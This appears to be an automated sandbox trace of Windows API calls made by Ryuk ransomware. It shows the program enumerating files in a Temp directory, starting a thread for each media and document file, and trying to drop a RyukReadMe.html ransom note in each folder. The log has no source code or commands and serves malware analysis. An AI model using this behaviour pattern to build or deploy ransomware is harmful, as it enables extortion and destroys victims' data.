	[0249.458] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.458] SetLastError (dwErrCode=0x0) 
	[0249.458] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\history\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.458] GetLastError () returned 0x3
	[0249.458] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.458] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.458] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a8e1660, ftCreationTime.dwHighDateTime=0x1d5bb40, ftLastAccessTime.dwLowDateTime=0xd3481710, ftLastAccessTime.dwHighDateTime=0x1d5b9f9, ftLastWriteTime.dwLowDateTime=0xd3481710, ftLastWriteTime.dwHighDateTime=0x1d5b9f9, nFileSizeHigh=0x0, nFileSizeLow=0xb71e, dwReserved0=0x210, dwReserved1=0x0, cFileName="jEbUyuJue3PUfdTXjk.gif", cAlternateFileName="JEBUYU~1.GIF")) returned 1
	[0249.458] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.459] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x57c
	[0249.638] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.639] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x996e3ca0, ftCreationTime.dwHighDateTime=0x1d5bffc, ftLastAccessTime.dwLowDateTime=0xad03e4c0, ftLastAccessTime.dwHighDateTime=0x1d5bab8, ftLastWriteTime.dwLowDateTime=0xad03e4c0, ftLastWriteTime.dwHighDateTime=0x1d5bab8, nFileSizeHigh=0x0, nFileSizeLow=0x2b16, dwReserved0=0x210, dwReserved1=0x0, cFileName="jSvf1m3yElMB-Sbu17bn.mp4", cAlternateFileName="JSVF1M~1.MP4")) returned 1
	[0249.639] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.639] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x588
	[0249.641] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.642] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xefb798f0, ftCreationTime.dwHighDateTime=0x1d5bc9a, ftLastAccessTime.dwLowDateTime=0x1c6cf870, ftLastAccessTime.dwHighDateTime=0x1d5bab8, ftLastWriteTime.dwLowDateTime=0x1c6cf870, ftLastWriteTime.dwHighDateTime=0x1d5bab8, nFileSizeHigh=0x0, nFileSizeLow=0x17cec, dwReserved0=0x210, dwReserved1=0x0, cFileName="KsZxIV-1Om7TALU.jpg", cAlternateFileName="KSZXIV~1.JPG")) returned 1
	[0249.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.642] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x58c
	[0249.643] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.644] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c7e8cc0, ftCreationTime.dwHighDateTime=0x1d5ba10, ftLastAccessTime.dwLowDateTime=0xfb6f5450, ftLastAccessTime.dwHighDateTime=0x1d5c2c9, ftLastWriteTime.dwLowDateTime=0xfb6f5450, ftLastWriteTime.dwHighDateTime=0x1d5c2c9, nFileSizeHigh=0x0, nFileSizeLow=0xb02, dwReserved0=0x210, dwReserved1=0x0, cFileName="lqxKQ3ka3.mp3", cAlternateFileName="LQXKQ3~1.MP3")) returned 1
	[0249.644] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x590
	[0249.646] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.647] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe7df41a0, ftCreationTime.dwHighDateTime=0x1d5c4c4, ftLastAccessTime.dwLowDateTime=0xe89c1fc0, ftLastAccessTime.dwHighDateTime=0x1d5b720, ftLastWriteTime.dwLowDateTime=0xe89c1fc0, ftLastWriteTime.dwHighDateTime=0x1d5b720, nFileSizeHigh=0x0, nFileSizeLow=0x586a, dwReserved0=0x210, dwReserved1=0x0, cFileName="LYl8hL0zcGiP.flv", cAlternateFileName="LYL8HL~1.FLV")) returned 1
	[0249.647] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.648] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x594
	[0249.649] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.649] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6bd58850, ftCreationTime.dwHighDateTime=0x1d5bdc9, ftLastAccessTime.dwLowDateTime=0xd423ce90, ftLastAccessTime.dwHighDateTime=0x1d5b8dc, ftLastWriteTime.dwLowDateTime=0xd423ce90, ftLastWriteTime.dwHighDateTime=0x1d5b8dc, nFileSizeHigh=0x0, nFileSizeLow=0x15c74, dwReserved0=0x210, dwReserved1=0x0, cFileName="nBP 6drY_iC njnK.wav", cAlternateFileName="NBP6DR~1.WAV")) returned 1
	[0249.649] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.650] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x598
	[0249.651] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.652] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf1fdbb0, ftCreationTime.dwHighDateTime=0x1d5ba4a, ftLastAccessTime.dwLowDateTime=0xdf419950, ftLastAccessTime.dwHighDateTime=0x1d5c5ad, ftLastWriteTime.dwLowDateTime=0xdf419950, ftLastWriteTime.dwHighDateTime=0x1d5c5ad, nFileSizeHigh=0x0, nFileSizeLow=0x7028, dwReserved0=0x210, dwReserved1=0x0, cFileName="O1d V02Bb-Yyjax.ppt", cAlternateFileName="O1DV02~1.PPT")) returned 1
	[0249.652] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.653] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x59c
	[0249.654] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.654] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4dab0070, ftCreationTime.dwHighDateTime=0x1d5c522, ftLastAccessTime.dwLowDateTime=0x51ecd650, ftLastAccessTime.dwHighDateTime=0x1d5c5c6, ftLastWriteTime.dwLowDateTime=0x51ecd650, ftLastWriteTime.dwHighDateTime=0x1d5c5c6, nFileSizeHigh=0x0, nFileSizeLow=0x9661, dwReserved0=0x210, dwReserved1=0x0, cFileName="qz-EhFMmP0nfJPHKxYa.mp3", cAlternateFileName="QZ-EHF~1.MP3")) returned 1
	[0249.654] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.655] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0
	[0249.721] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.722] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9e2b770, ftCreationTime.dwHighDateTime=0x1d5c15d, ftLastAccessTime.dwLowDateTime=0x68b5e6c0, ftLastAccessTime.dwHighDateTime=0x1d5bce2, ftLastWriteTime.dwLowDateTime=0x68b5e6c0, ftLastWriteTime.dwHighDateTime=0x1d5bce2, nFileSizeHigh=0x0, nFileSizeLow=0xab7d, dwReserved0=0x210, dwReserved1=0x0, cFileName="rUJZ.gif", cAlternateFileName="")) returned 1
	[0249.723] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.723] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4
	[0249.725] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.725] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x405185e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x405185e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x4053e740, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x210, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0249.725] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2385b770, ftCreationTime.dwHighDateTime=0x1d5be4e, ftLastAccessTime.dwLowDateTime=0xd1bd4300, ftLastAccessTime.dwHighDateTime=0x1d5b5b4, ftLastWriteTime.dwLowDateTime=0xd1bd4300, ftLastWriteTime.dwHighDateTime=0x1d5b5b4, nFileSizeHigh=0x0, nFileSizeLow=0xa784, dwReserved0=0x210, dwReserved1=0x0, cFileName="s-gmsn.mkv", cAlternateFileName="")) returned 1
	[0249.726] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.726] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a8
	[0249.728] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.728] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7205f990, ftCreationTime.dwHighDateTime=0x1d5bb11, ftLastAccessTime.dwLowDateTime=0xa66d67e0, ftLastAccessTime.dwHighDateTime=0x1d5c485, ftLastWriteTime.dwLowDateTime=0xa66d67e0, ftLastWriteTime.dwHighDateTime=0x1d5c485, nFileSizeHigh=0x0, nFileSizeLow=0x5e22, dwReserved0=0x210, dwReserved1=0x0, cFileName="suL76PCDpBtAV.mp4", cAlternateFileName="SUL76P~1.MP4")) returned 1
	[0249.729] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ac
	[0249.731] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.731] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcabc9fe0, ftCreationTime.dwHighDateTime=0x1d5c335, ftLastAccessTime.dwLowDateTime=0x4cd28700, ftLastAccessTime.dwHighDateTime=0x1d5ba3b, ftLastWriteTime.dwLowDateTime=0x4cd28700, ftLastWriteTime.dwHighDateTime=0x1d5ba3b, nFileSizeHigh=0x0, nFileSizeLow=0x9fa, dwReserved0=0x210, dwReserved1=0x0, cFileName="Ta8_Kc.bmp", cAlternateFileName="")) returned 1
	[0249.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.732] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b0
	[0249.734] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.734] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd978bc80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd978bc80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd978bc80, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1
	[0249.735] SetLastError (dwErrCode=0x0) 
	[0249.735] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.735] GetLastError () returned 0x3
	[0249.735] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.735] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.735] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.735] SetLastError (dwErrCode=0x0) 
	[0249.735] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.735] GetLastError () returned 0x3
	[0249.735] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.735] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.736] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7c4a0240, ftCreationTime.dwHighDateTime=0x1d5c415, ftLastAccessTime.dwLowDateTime=0x28d6d0c0, ftLastAccessTime.dwHighDateTime=0x1d5c550, ftLastWriteTime.dwLowDateTime=0x28d6d0c0, ftLastWriteTime.dwHighDateTime=0x1d5c550, nFileSizeHigh=0x0, nFileSizeLow=0xa67a, dwReserved0=0x210, dwReserved1=0x0, cFileName="tEz6zz54a3QKe1jYs.mp3", cAlternateFileName="TEZ6ZZ~1.MP3")) returned 1
	[0249.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4
	[0249.952] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.953] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4813f7f0, ftCreationTime.dwHighDateTime=0x1d5c317, ftLastAccessTime.dwLowDateTime=0xbd8a9eb0, ftLastAccessTime.dwHighDateTime=0x1d5c558, ftLastWriteTime.dwLowDateTime=0xbd8a9eb0, ftLastWriteTime.dwHighDateTime=0x1d5c558, nFileSizeHigh=0x0, nFileSizeLow=0x158a2, dwReserved0=0x210, dwReserved1=0x0, cFileName="uJdarKwGlT5w5zNqc7M.jpg", cAlternateFileName="UJDARK~1.JPG")) returned 1
	[0249.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x610
	[0249.955] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.956] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x44de7220, ftCreationTime.dwHighDateTime=0x1d5b824, ftLastAccessTime.dwLowDateTime=0x9f9fc830, ftLastAccessTime.dwHighDateTime=0x1d5be69, ftLastWriteTime.dwLowDateTime=0x9f9fc830, ftLastWriteTime.dwHighDateTime=0x1d5be69, nFileSizeHigh=0x0, nFileSizeLow=0x3055, dwReserved0=0x210, dwReserved1=0x0, cFileName="uw8kRfAIZafm8JjQ.avi", cAlternateFileName="UW8KRF~1.AVI")) returned 1
	[0249.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.957] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x614
	[0249.958] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.958] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x57f4d770, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x57f4d770, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x57f4d770, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="WPDNSE", cAlternateFileName="")) returned 1
	[0249.958] SetLastError (dwErrCode=0x0) 
	[0249.958] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.958] GetLastError () returned 0x3
	[0249.958] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.959] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.959] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.959] SetLastError (dwErrCode=0x0) 
	[0249.959] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\WPDNSE\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\wpdnse\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.959] GetLastError () returned 0x3
	[0249.959] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.959] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd7e1be50, ftCreationTime.dwHighDateTime=0x1d5b6d6, ftLastAccessTime.dwLowDateTime=0xd992b530, ftLastAccessTime.dwHighDateTime=0x1d5b8f0, ftLastWriteTime.dwLowDateTime=0xd992b530, ftLastWriteTime.dwHighDateTime=0x1d5b8f0, nFileSizeHigh=0x0, nFileSizeLow=0x1791b, dwReserved0=0x210, dwReserved1=0x0, cFileName="Y2djYuhT3xjlKZ3r.ppt", cAlternateFileName="Y2DJYU~1.PPT")) returned 1
	[0249.959] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x618
	[0249.961] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.962] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40d4c440, ftCreationTime.dwHighDateTime=0x1d5c139, ftLastAccessTime.dwLowDateTime=0x1dcaae80, ftLastAccessTime.dwHighDateTime=0x1d5c48e, ftLastWriteTime.dwLowDateTime=0x1dcaae80, ftLastWriteTime.dwHighDateTime=0x1d5c48e, nFileSizeHigh=0x0, nFileSizeLow=0x14809, dwReserved0=0x210, dwReserved1=0x0, cFileName="yLt4USz55bOIOOEbZn.wav", cAlternateFileName="YLT4US~1.WAV")) returned 1
	[0249.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.963] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x61c
	[0249.965] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.965] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x20c652c0, ftCreationTime.dwHighDateTime=0x1d5bfe2, ftLastAccessTime.dwLowDateTime=0xd0495170, ftLastAccessTime.dwHighDateTime=0x1d5bc27, ftLastWriteTime.dwLowDateTime=0xd0495170, ftLastWriteTime.dwHighDateTime=0x1d5bc27, nFileSizeHigh=0x0, nFileSizeLow=0xd07c, dwReserved0=0x210, dwReserved1=0x0, cFileName="ylwNSYMrPkhmeWLV4xtt.mkv", cAlternateFileName="YLWNSY~1.MKV")) returned 1
